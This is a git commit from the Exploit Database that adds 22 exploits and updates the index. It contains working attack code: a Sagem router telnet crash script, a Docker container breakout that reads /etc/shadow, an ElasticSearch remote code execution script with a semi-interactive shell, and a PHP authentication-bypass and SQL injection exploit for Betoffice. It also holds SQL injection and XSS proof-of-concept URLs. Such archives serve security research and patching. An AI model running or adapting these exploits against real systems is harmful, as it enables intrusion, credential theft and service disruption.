From f8f13f8ec0687aa5441e91ecd8ede11aeb7b1415 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 13 Mar 2015 08:35:51 +0000 Subject: [PATCH] Update: 2015-03-13 22 new exploits --- files.csv | 26 ++++- platforms/hardware/dos/36309.py | 40 +++++++ platforms/linux/local/33808.c | 193 +++++++++++++++---------------- platforms/linux/remote/36337.py | 56 +++++++++ platforms/linux/remote/36352.txt | 10 ++ platforms/php/webapps/36305.txt | 47 ++++++++ platforms/php/webapps/36306.txt | 151 ++++++++++++++++++++++++ platforms/php/webapps/36338.txt | 9 ++ platforms/php/webapps/36339.txt | 11 ++ platforms/php/webapps/36340.txt | 9 ++ platforms/php/webapps/36341.txt | 10 ++ platforms/php/webapps/36342.txt | 11 ++ platforms/php/webapps/36343.txt | 10 ++ platforms/php/webapps/36344.txt | 10 ++ platforms/php/webapps/36345.txt | 10 ++ platforms/php/webapps/36346.txt | 16 +++ platforms/php/webapps/36347.txt | 10 ++ platforms/php/webapps/36348.txt | 9 ++ platforms/php/webapps/36349.txt | 12 ++ platforms/php/webapps/36350.txt | 7 ++ platforms/php/webapps/36351.txt | 7 ++ platforms/windows/dos/36334.txt | 69 +++++++++++ platforms/windows/dos/36335.txt | 68 +++++++++++ platforms/windows/dos/36336.txt | 73 ++++++++++++ 24 files changed, 775 insertions(+), 99 deletions(-) create mode 100755 platforms/hardware/dos/36309.py create mode 100755 platforms/linux/remote/36337.py create mode 100755 platforms/linux/remote/36352.txt create mode 100755 platforms/php/webapps/36305.txt create mode 100755 platforms/php/webapps/36306.txt create mode 100755 platforms/php/webapps/36338.txt create mode 100755 platforms/php/webapps/36339.txt create mode 100755 platforms/php/webapps/36340.txt create mode 100755 platforms/php/webapps/36341.txt create mode 100755 platforms/php/webapps/36342.txt create mode 100755 platforms/php/webapps/36343.txt create mode 100755 platforms/php/webapps/36344.txt create mode 100755 platforms/php/webapps/36345.txt create mode 100755 platforms/php/webapps/36346.txt create mode 100755 platforms/php/webapps/36347.txt create mode 100755 platforms/php/webapps/36348.txt create mode 100755 platforms/php/webapps/36349.txt create mode 100755 platforms/php/webapps/36350.txt create mode 100755 platforms/php/webapps/36351.txt create mode 100755 platforms/windows/dos/36334.txt create mode 100755 platforms/windows/dos/36335.txt create mode 100755 platforms/windows/dos/36336.txt diff --git a/files.csv b/files.csv index a69e47a4a..36e7b5f83 100755 --- a/files.csv +++ b/files.csv @@ -7391,7 +7391,7 @@ id,file,description,date,author,platform,type,port 7853,platforms/windows/local/7853.pl,"EleCard MPEG PLAYER - (.m3u ) Local Stack Overflow Exploit",2009-01-25,AlpHaNiX,windows,local,0 7854,platforms/windows/dos/7854.pl,"MediaMonkey 3.0.6 - (.m3u) Local Buffer Overflow PoC",2009-01-25,AlpHaNiX,windows,dos,0 7855,platforms/linux/local/7855.txt,"PostgreSQL 8.2/8.3/8.4 UDF for Command Execution",2009-01-25,"Bernardo Damele",linux,local,0 -7856,platforms/linux/local/7856.txt,"MySQL 4/5/6 UDF for Command Execution",2009-01-25,"Bernardo Damele",linux,local,0 +7856,platforms/linux/local/7856.txt,"MySQL 4/5/6 - UDF for Command Execution",2009-01-25,"Bernardo Damele",linux,local,0 7857,platforms/windows/dos/7857.pl,"Merak Media Player 3.2 m3u file Local Buffer Overflow PoC",2009-01-25,Houssamix,windows,dos,0 7858,platforms/hardware/remote/7858.php,"Siemens ADSL SL2-141 - CSRF Exploit",2009-01-25,spdr,hardware,remote,0 7859,platforms/php/webapps/7859.pl,"MemHT Portal <= 4.0.1 (avatar) Remote Code Execution Exploit",2009-01-25,StAkeR,php,webapps,0 @@ -30456,7 +30456,7 @@ id,file,description,date,author,platform,type,port 33804,platforms/windows/dos/33804.pl,"Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability",2014-06-18,LiquidWorm,windows,dos,0 33805,platforms/linux/remote/33805.pl,"AlienVault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution",2014-06-18,"Alfredo Ramirez",linux,remote,0 33807,platforms/multiple/remote/33807.rb,"Rocket Servergraph Admin Center fileRequestor Remote Code Execution",2014-06-18,metasploit,multiple,remote,8888 -33808,platforms/linux/local/33808.c,"docker 0.11 - VMM-Container Breakout",2014-06-18,"Sebastian Krahmer",linux,local,0 +33808,platforms/linux/local/33808.c,"Docker 0.11 - VMM-Container Breakout",2014-06-18,"Sebastian Krahmer",linux,local,0 33809,platforms/php/webapps/33809.txt,"Cacti Superlinks Plugin 1.4-2 - SQL Injection",2014-06-18,Napsterakos,php,webapps,0 33810,platforms/osx/remote/33810.html,"Apple Safari for iPhone/iPod touch Malformed 'Throw' Exception Remote Code Execution Vulnerability",2010-03-26,"Nishant Das Patnaik",osx,remote,0 33811,platforms/osx/remote/33811.html,"Apple Safari iPhone/iPod touch Malformed Webpage Remote Code Execution Vulnerability",2010-03-26,"Nishant Das Patnaik",osx,remote,0 @@ -32724,8 +32724,11 @@ id,file,description,date,author,platform,type,port 36302,platforms/php/webapps/36302.txt,"Joomla Content Component 'year' Parameter SQL Injection Vulnerability",2011-11-14,E.Shahmohamadi,php,webapps,0 36303,platforms/php/webapps/36303.txt,"ProjectSend r561 - SQL Injection Vulnerability",2015-03-06,"ITAS Team",php,webapps,80 36304,platforms/windows/remote/36304.rb,"HP Data Protector 8.10 Remote Command Execution",2015-03-06,metasploit,windows,remote,5555 +36305,platforms/php/webapps/36305.txt,"Elastix 2.x - Blind SQL Injection Vulnerability",2015-03-07,"Ahmed Aboul-Ela",php,webapps,0 +36306,platforms/php/webapps/36306.txt,"PHP Betoffice (Betster) 1.0.4 - Authentication Bypass And SQL Injection",2015-03-06,ZeQ3uL,php,webapps,0 36307,platforms/php/webapps/36307.html,"Search Plugin for Hotaru CMS 1.4.2 admin_index.php SITE_NAME Parameter XSS",2011-11-13,"Gjoko Krstic",php,webapps,0 36308,platforms/php/webapps/36308.txt,"Webistry 1.6 'pid' Parameter SQL Injection Vulnerability",2011-11-16,CoBRa_21,php,webapps,0 +36309,platforms/hardware/dos/36309.py,"Sagem F@st 3304-V2 - Telnet Crash PoC",2015-03-08,"Loudiyi Mohamed",hardware,dos,0 36310,platforms/lin_x86-64/local/36310.txt,"Rowhammer: Linux Kernel Privilege Escalation PoC",2015-03-09,"Google Security Research",lin_x86-64,local,0 36311,platforms/lin_x86-64/local/36311.txt,"Rowhammer: NaCl Sandbox Escape PoC",2015-03-09,"Google Security Research",lin_x86-64,local,0 36313,platforms/php/webapps/36313.txt,"webERP <= 4.3.8 Multiple Script URI XSS",2011-11-17,"High-Tech Bridge SA",php,webapps,0 @@ -32749,3 +32752,22 @@ id,file,description,date,author,platform,type,port 36331,platforms/php/webapps/36331.txt,"Dolibarr ERP/CRM /user/index.php Multiple Parameter SQL Injection",2011-11-23,"High-Tech Bridge SA",php,webapps,0 36332,platforms/php/webapps/36332.txt,"Dolibarr ERP/CRM /user/info.php id Parameter SQL Injection",2011-11-23,"High-Tech Bridge SA",php,webapps,0 36333,platforms/php/webapps/36333.txt,"Dolibarr ERP/CRM /admin/boxes.php rowid Parameter SQL Injection",2011-11-23,"High-Tech Bridge SA",php,webapps,0 +36334,platforms/windows/dos/36334.txt,"Foxit Products GIF Conversion Memory Corruption (LZWMinimumCodeSize)",2015-03-11,"Francis Provencher",windows,dos,0 +36335,platforms/windows/dos/36335.txt,"Foxit Products GIF Conversion Memory Corruption (DataSubBlock)",2015-03-11,"Francis Provencher",windows,dos,0 +36336,platforms/windows/dos/36336.txt,"Microsoft Windows Text Services Memory Corruption (MS15-020)",2015-03-11,"Francis Provencher",windows,dos,0 +36337,platforms/linux/remote/36337.py,"ElasticSearch Unauthenticated Remote Code Execution",2015-03-11,"Xiphos Research Ltd",linux,remote,9200 +36338,platforms/php/webapps/36338.txt,"WordPress ClickDesk Live Support Plugin 2.0 'cdwidget' Parameter Cross Site Scripting Vulnerability",2011-11-23,Amir,php,webapps,0 +36339,platforms/php/webapps/36339.txt,"WordPress Featurific For WordPress Plugin 1.6.2 'snum' Parameter Cross Site Scripting Vulnerability",2011-11-23,Amir,php,webapps,0 +36340,platforms/php/webapps/36340.txt,"WordPress Newsletter Meenews Plugin 5.1 'idnews' Parameter Cross Site Scripting Vulnerability",2011-11-23,Amir,php,webapps,0 +36341,platforms/php/webapps/36341.txt,"PrestaShop 1.4.4.1 modules/mondialrelay/kit_mondialrelay/RechercheDetailPointRelais_ajax.php Multiple Parameter XSS",2011-11-23,Prestashop,php,webapps,0 +36342,platforms/php/webapps/36342.txt,"PrestaShop 1.4.4.1 modules/mondialrelay/googlemap.php Multiple Parameter XSS",2011-11-23,Prestashop,php,webapps,0 +36343,platforms/php/webapps/36343.txt,"PrestaShop 1.4.4.1 /modules/mondialrelay/kit_mondialrelay/SuiviExpedition_ajax.php Expedition Parameter XSS",2011-11-23,Prestashop,php,webapps,0 +36344,platforms/php/webapps/36344.txt,"PrestaShop 1.4.4.1 /admin/ajaxfilemanager/ajax_save_text.php Multiple Parameter XSS",2011-11-23,Prestashop,php,webapps,0 +36345,platforms/php/webapps/36345.txt,"Prestashop 1.4.4.1 'displayImage.php' HTTP Response Splitting Vulnerability",2011-11-23,RGouveia,php,webapps,0 +36346,platforms/php/webapps/36346.txt,"Zen Cart CMS 1.3.9h Multiple Cross Site Scripting Vulnerabilities",2011-11-23,RPinto,php,webapps,0 +36347,platforms/php/webapps/36347.txt,"Hastymail2 'rs' Parameter Cross Site Scripting Vulnerability",2011-11-22,HTrovao,php,webapps,0 +36348,platforms/php/webapps/36348.txt,"Pro Clan Manager 0.4.2 SQL Injection Vulnerability",2011-11-23,anonymous,php,webapps,0 +36349,platforms/php/webapps/36349.txt,"AdaptCMS 2.0 SQL Injection Vulnerability",2011-11-24,X-Cisadane,php,webapps,0 +36350,platforms/php/webapps/36350.txt,"Balitbang CMS 3.3 index.php hal Parameter SQL Injection",2011-11-24,X-Cisadane,php,webapps,0 +36351,platforms/php/webapps/36351.txt,"alitbang CMS 3.3 alumni.php hal Parameter SQL Injection",2011-11-24,X-Cisadane,php,webapps,0 +36352,platforms/linux/remote/36352.txt,"Apache HTTP Server 7.0.x 'mod_proxy' Reverse Proxy Security Bypass Vulnerability",2011-11-24,"Prutha Parikh",linux,remote,0 diff --git a/platforms/hardware/dos/36309.py b/platforms/hardware/dos/36309.py new file mode 100755 index 000000000..b3e2ae1fe --- /dev/null +++ b/platforms/hardware/dos/36309.py @@ -0,0 +1,40 @@ +# Title : Sagem F@st 3304-V2 Telnet Crash POC +# Vendor : http://www.sagemcom.com +# Severity : High +# Tested Router : Sagem F@st 3304-V2 (3304-V1, other versions may also be affected) +# Date : 2015-03-08 +# Author : Loudiyi Mohamed +# Contact : Loudiyi.2010@gmail.com +# Blog : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603 +# Vulnerability description: +#========================== +#A Memory Corruption Vulnerability is detected on Sagem F@st 3304-V2 Telnet service. An attacker can crash the router by sending a very long string. +#This exploit connects to Sagem F@st 3304-V2 Telnet (Default port 23) and sends a very long string "X"*500000. +#After the exploit is sent, the telnet service will crash and the router will reboot automatically. + +#Usage: python SagemDos.py "IP address" + +# Code +#======================================================================== + #!/usr/bin/python +import socket +import sys +print("######################################") +print("# DOS Sagem F@st3304 v1-v2 #") +print("# ---------- #") +print("# BY LOUDIYI MOHAMED #") +print("#####################################") +if (len(sys.argv)<2): + print "Usage: %s " % sys.argv[0] + print "Example: %s 192.168.1.1 " % sys.argv[0] + exit(0) +print "\nSending evil buffer..." +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) +try: + s.connect((sys.argv[1], 23)) + buffer = "X"*500000 + s.send(buffer) +except: + print "Could not connect to Sagem Telnet!" +#======================================================================== + diff --git a/platforms/linux/local/33808.c b/platforms/linux/local/33808.c index 59c57da8f..fa166d47b 100755 --- a/platforms/linux/local/33808.c +++ b/platforms/linux/local/33808.c @@ -47,142 +47,141 @@ struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; + unsigned int handle_bytes; + int handle_type; + unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); + perror(msg); + exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); + fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, + h->handle_type); + for (int i = 0; i < h->handle_bytes; ++i) { + fprintf(stderr,"0x%02x", h->f_handle[i]); + if ((i + 1) % 20 == 0) + fprintf(stderr,"\n"); + if (i < h->handle_bytes - 1) + fprintf(stderr,", "); + } + fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; + int fd; + uint32_t ino = 0; + struct my_file_handle outh = { + .handle_bytes = 8, + .handle_type = 1 + }; + DIR *dir = NULL; + struct dirent *de = NULL; - path = strchr(path, '/'); + path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); + // recursion stops if path has been resolved + if (!path) { + memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); + oh->handle_type = 1; + oh->handle_bytes = 8; + return 1; + } + ++path; + fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); + if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) + die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); + if ((dir = fdopendir(fd)) == NULL) + die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } + for (;;) { + de = readdir(dir); + if (!de) + break; + fprintf(stderr, "[*] Found %s\n", de->d_name); + if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { + fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); + ino = de->d_ino; + break; + } + } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); + fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); + if (de) { + for (uint32_t i = 0; i < 0xffffffff; ++i) { + outh.handle_bytes = 8; + outh.handle_type = 1; + memcpy(outh.f_handle, &ino, sizeof(ino)); + memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } + if ((i % (1<<20)) == 0) + fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); + if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { + closedir(dir); + close(fd); + dump_handle(&outh); + return find_handle(bfd, path, &outh, oh); + } + } + } - closedir(dir); - close(fd); - return 0; + closedir(dir); + close(fd); + return 0; } int main() { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; + char buf[0x1000]; + int fd1, fd2; + struct my_file_handle h; + struct my_file_handle root_h = { + .handle_bytes = 8, + .handle_type = 1, + .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} + }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); + fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" + "[***] The tea from the 90's kicks your sekurity again. [***]\n" + "[***] If you have pending sec consulting, I'll happily [***]\n" + "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); + read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) - die("[-] open"); + // get a FS reference from something mounted in from outside + if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) + die("[-] open"); - if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); + if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0) + die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); + fprintf(stderr, "[!] Got a final handle!\n"); + dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); + if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) + die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); + memset(buf, 0, sizeof(buf)); + if (read(fd2, buf, sizeof(buf) - 1) < 0) + die("[-] read"); - fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); + fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); - close(fd2); close(fd1); + close(fd2); close(fd1); - return 0; + return 0; } - diff --git a/platforms/linux/remote/36337.py b/platforms/linux/remote/36337.py new file mode 100755 index 000000000..0f25c542c --- /dev/null +++ b/platforms/linux/remote/36337.py @@ -0,0 +1,56 @@ +#!/bin/python2 +# coding: utf-8 +# Author: Darren Martyn, Xiphos Research Ltd. +# Version: 20150309.1 +# Licence: WTFPL - wtfpl.net +import json +import requests +import sys +import readline +readline.parse_and_bind('tab: complete') +readline.parse_and_bind('set editing-mode vi') +__version__ = "20150309.1" + +def banner(): + print """\x1b[1;32m +?????? ??? ??? ?????? ????????? ??? ?????? ?????? ??? ?? ?????? ??? ??? +?? ? ???? ?????? ??? ? ? ??? ?????????? ?? ??? ? ???? ????? ? ???? ???? +???? ???? ??? ??? ? ???? ? ???? ????????? ? ? ???? ???????????? ???? ???? +??? ? ???? ????????? ? ???? ???? ? ???????? ???? ? ?????? ??? ??? ? ???? ???? +????????????????? ????????????? ???? ? ????? ????? ????????????????????????????????????????? +?? ?? ?? ??? ??? ????? ??? ? ? ? ?? ?? ? ?? ? ?? ??? ? ? ? ??????? ?? ?? ??? ?? ??? ? + ? ? ?? ? ? ? ? ?? ?? ?? ? ? ? ? ? ? ? ? ?? ? ? ? ??? ? ? ? ?? ? ? ?? ? ? ? + ? ? ? ? ? ? ? ? ? ? ?? ? ? ? ? ?? ? ? ? ? ? ? + ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? + ? + Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__) + +def execute_command(target, command): + payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command) + try: + url = "http://%s:9200/_search?pretty" %(target) + r = requests.post(url=url, data=payload) + except Exception, e: + sys.exit("Exception Hit"+str(e)) + values = json.loads(r.text) + fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0] + print fuckingjson.strip() + + +def exploit(target): + print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something" + while True: + cmd = raw_input("~$ ") + if cmd == "exit": + sys.exit("{!} Shell exiting!") + else: + execute_command(target=target, command=cmd) + +def main(args): + banner() + if len(args) != 2: + sys.exit("Use: %s target" %(args[0])) + exploit(target=args[1]) + +if __name__ == "__main__": + main(args=sys.argv) \ No newline at end of file diff --git a/platforms/linux/remote/36352.txt b/platforms/linux/remote/36352.txt new file mode 100755 index 000000000..962b34639 --- /dev/null +++ b/platforms/linux/remote/36352.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/50802/info + +Apache HTTP Server is prone to a security-bypass vulnerability. + +Successful exploits will allow attackers to bypass certain security restrictions and obtain sensitive information about running web applications. + +The following example patterns are available: + +RewriteRule ^(.*) http://www.example.com$1 +ProxyPassMatch ^(.*) http://www.example.com$1 \ No newline at end of file diff --git a/platforms/php/webapps/36305.txt b/platforms/php/webapps/36305.txt new file mode 100755 index 000000000..36949af14 --- /dev/null +++ b/platforms/php/webapps/36305.txt @@ -0,0 +1,47 @@ +# Title: Elastix v2.x Blind SQL Injection Vulnerability +# Author: Ahmed Aboul-Ela +# Twitter: https://twitter.com/aboul3la +# Vendor : http://www.elastix.org +# Version: v2.5.0 and prior versions should be affected too + +- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php": + + SQLExec ($DBHandle_max, $QUERY); + [...] + ?> + + The GET parameter transactionID was used directly in the SQL query + without any sanitization which lead directly to SQL Injection vulnerability. + +- Proof of Concept: + + http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1)) + + The backend response will delay for few seconds, which means the benchmark() function was executed successfully + +- Mitigation: + + The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now + + [~] yum update elastix-a2billing + + +- Time-Line: + + Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix + Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix + Fri, Mar 6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability + Sat, Mar 7, 2015 at 5:15 PM: The public responsible disclosure + +- Credits: + + Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT \ No newline at end of file diff --git a/platforms/php/webapps/36306.txt b/platforms/php/webapps/36306.txt new file mode 100755 index 000000000..11c864d6d --- /dev/null +++ b/platforms/php/webapps/36306.txt @@ -0,0 +1,151 @@ +getState()) && + (($user->getStatus() == "administrator") || + ($user->getStatus() == "betmaster"))){ + $mainhtml = file_get_contents("tpl/showprofile.inc"); + + $id = htmlspecialchars($_GET['id']); <<<< WTF !! + $xuser = $db_mapper->getUserById($id); +----------------------------------------------------------------------------- + +/categoryedit.php (LINE: 52) +----------------------------------------------------------------------------- +$id = htmlspecialchars($_GET['id']); <<<< WTF !! +$action = htmlspecialchars($_GET['ac']); +----------------------------------------------------------------------------- + +########################################### +VULNERABILITY: Authentication Bypass (SQLi) +########################################### + +File index.php (Login function) has SQL Injection vulnerability, "username" parameter supplied in POST parameter for checking valid credentials. +The "username" parameter is not validated before passing into SQL query which arise authentication bypass issue. + +##################################################### +EXPLOIT +##################################################### + +*/ + +error_reporting(0); +set_time_limit(0); +ini_set("default_socket_timeout", 50); + +function http_send($host, $packet) +{ + if (!($sock = fsockopen($host, 80))) + die("\n[-] No response from {$host}:80\n"); + + fputs($sock, $packet); + return stream_get_contents($sock); +} + +print "\n+---------------------------------------------+"; +print "\n| Betster Auth Bypass & SQL Injection Exploit |"; +print "\n+---------------------------------------------+\n"; + +if ($argc < 3) +{ + print "\nUsage......: php $argv[0] \n"; + print "\nExample....: php $argv[0] localhost /"; + print "\nExample....: php $argv[0] localhost /betster/\n"; + die(); +} + +$host = $argv[1]; +$path = $argv[2]; + +$payload = "username=admin%27+or+%27a%27%3D%27a&password=cwh&login=LOGIN"; + +$packet = "GET {$path} HTTP/1.0\r\n"; +$packet .= "Host: {$host}\r\n"; +$packet .= "Connection: close\r\n\r\n"; + + print "\n ,--^----------,--------,-----,-------^--, \n"; + print " | ||||||||| `--------' | O \n"; + print " `+---------------------------^----------| \n"; + print " `\_,-------, _________________________| \n"; + print " / XXXXXX /`| / \n"; + print " / XXXXXX / `\ / \n"; + print " / XXXXXX /\______( \n"; + print " / XXXXXX / \n"; + print " / XXXXXX / .. CWH Underground Hacking Team .. \n"; + print " (________( \n"; + print " `------' \n"; + +$response = http_send($host, $packet); + + if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n"); + +$packet = "POST {$path}index.php HTTP/1.0\r\n"; +$packet .= "Host: {$host}\r\n"; +$packet .= "Cookie: {$sid[1]}\r\n"; +$packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; +$packet .= "Content-Length: ".strlen($payload)."\r\n"; +$packet .= "Connection: close\r\n\r\n{$payload}"; + + print "\n\n[+] Bypassing Authentication...\n"; + sleep(2); + +$response=http_send($host, $packet); + +preg_match('/menutitle">ADMIN/s', $response) ? print "\n[+] Authentication Bypass Successfully !!\n" : die("\n[-] Bypass Authentication Failed !!\n"); + +$packet = "GET {$path}showprofile.php?id=1%27%20and%201=2%20union%20select%201,concat(0x3a3a,0x557365723d,user(),0x202c2044425f4e616d653d,database(),0x3a3a),3,4,5,6,7--+ HTTP/1.0\r\n"; +$packet .= "Cookie: {$sid[1]}\r\n"; +$packet .= "Host: {$host}\r\n"; +$packet .= "Connection: close\r\n\r\n"; + + print "[+] Performing SQL Injection Attack\n"; + sleep(2); + +$response1=http_send($host, $packet); + +preg_match('/::(.*)::/', $response1, $m) ? print "\n$m[1]\n" : die("\n[-] Exploit failed!\n"); + +################################################################################################################ +# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 +################################################################################################################ +?> \ No newline at end of file diff --git a/platforms/php/webapps/36338.txt b/platforms/php/webapps/36338.txt new file mode 100755 index 000000000..b19a43537 --- /dev/null +++ b/platforms/php/webapps/36338.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/50778/info + +ClickDesk Live Support plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +ClickDesk Live Support 2.0 is vulnerable; other versions may also be affected. + +http://www.example.com/[path]/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36339.txt b/platforms/php/webapps/36339.txt new file mode 100755 index 000000000..127b86dad --- /dev/null +++ b/platforms/php/webapps/36339.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/50779/info + +Featurific For WordPress plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Featurific For WordPress 1.6.2 is vulnerable; other versions may also be affected. + +UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. + +http://www.example.com/[path]/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36340.txt b/platforms/php/webapps/36340.txt new file mode 100755 index 000000000..ec6fe7256 --- /dev/null +++ b/platforms/php/webapps/36340.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/50783/info + +Newsletter Meenews Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Newsletter Meenews 5.1.0 is vulnerable; other versions may also be affected. + +http://www.example.com/[path]/wp-content/plugins/meenews/newsletter.php?idnews=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36341.txt b/platforms/php/webapps/36341.txt new file mode 100755 index 000000000..666b961b6 --- /dev/null +++ b/platforms/php/webapps/36341.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/50784/info + +PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. + +GET: http:///modules/mondialrelay/kit_mondialrelay/RechercheDetailPointRelais_ajax.php +POST: num_mode= \ No newline at end of file diff --git a/platforms/php/webapps/36342.txt b/platforms/php/webapps/36342.txt new file mode 100755 index 000000000..570697b4f --- /dev/null +++ b/platforms/php/webapps/36342.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/50784/info + +PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. + +http://www.example.com/modules/mondialrelay/googlemap.php?relativ_base_dir=>');alert('XSS'); 